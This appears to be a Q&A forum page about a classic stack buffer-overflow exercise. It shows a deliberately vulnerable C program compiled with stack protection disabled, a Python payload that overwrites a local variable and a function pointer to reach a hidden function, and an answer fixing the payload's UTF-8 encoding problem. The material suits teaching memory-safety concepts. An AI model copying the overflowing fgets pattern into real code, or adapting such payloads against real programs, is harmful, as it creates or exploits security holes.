1

I'm trying to use buffer overflow to overwrite two local variables, so that I can call the hidden function. Here is the C code.

#include <stdio.h>
#include <stdlib.h>

static void hidden_function(void)
{
    puts("I laugh in the face of danger. Ha ha ha ha!");
}

static void visible_function(void)
{
    puts("Knock, knock! Who's there? Recursion. Recursion who? Knock, knock!");
}

static void helper_function(void)
{
    void (*f_ptr)(void) = visible_function;
    unsigned int dumb_number = 0x12345678;
    char buffer[32];

    printf("Provide buffer input: ");
    fgets(buffer, 64, stdin);

    printf("Dumb number value is 0x%08x.\n", dumb_number);
    printf("Buffer is %s\n", buffer);

    f_ptr();
}

int main(void)
{
    helper_function();

    return 0;
}

This is the Makefile that I use.

CC = gcc
CFLAGS = -m32 -Wall -Wextra -Wno-unused-function -g -O0 -fno-stack-protector -no-pie
LDFLAGS = -m32

.PHONY: all clean

all: overflow_ptr

overflow_ptr: overflow_ptr.o
    $(CC) $(CFLAGS) -o $@ $<

overflow_ptr.o: overflow_ptr.c

clean:
    -rm -f overflow_ptr.o overflow_ptr
    -rm -f *~

Running nm overflow_ptr shows me that the address of the hidden function is the following:

080484a6 t hidden_function

So I created the following payload:

python3 -c 'print(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08")'

This is supposed to make dump_number = 0x87654321 and f_ptr = 0x080484a6. However, when I run this program the output is:

Provide buffer input: Dumb number value is 0xc2654321.

Which makes me wonder why was that c2 inserted? I'm assumming it's some kind of protection measure. If so, is there any way to prevent it? I'm using a 64-bit virtual machine with Ubuntu.

2
  • 1
    When running python3 -c 'print(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08")' | od -x the values do not correspond. But it seems like a python problem. Maybe you can try to fix it or add the python tag. Commented Jan 28, 2019 at 19:37
  • 2
    You have an utf8 conversion somewhere. Commented Jan 28, 2019 at 19:39

1 Answer 1

1

Your Python is likely defaulting to UTF-8 input/output encoding rather than ISO-8859-1. You can override the default Python IO encoding by setting the environment variable PYTHONIOENCODING

You could run overflow_ptr with this command:

echo $(PYTHONIOENCODING="ISO-8859-1" python3 -c 'print(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08")') | ./overflow_ptr

The output should be:

Provide buffer input: Dumb number value is 0x87654321.
Buffer is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!Ce���
I laugh in the face of danger. Ha ha ha ha!

I suspect on your system if you were to run this command:

python3 -c 'print(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08")' | od -tx1 -v

That the output would be something like:

0000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000040 21 43 65 c2 87 c2 a6 c2 84 04 08 0a

The output you were probably expecting was:

0000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000040 21 43 65 87 a6 84 04 08 0a

You'll notice that in the first output all the values >= 0x80 were translated into multiple bytes, each starting with 0xc2. That character conversion is what introduced the unexpected c2into your dumb number value.


Notes:

  • If you wish to avoid Python adding the extra 0x0a to the end you can tell the print function to eliminate it by doing it this way:

    print(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08",end="")

    By specifying end="" as a parameter to print you eliminate the terminating 0x0a (linefeed) character.

Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.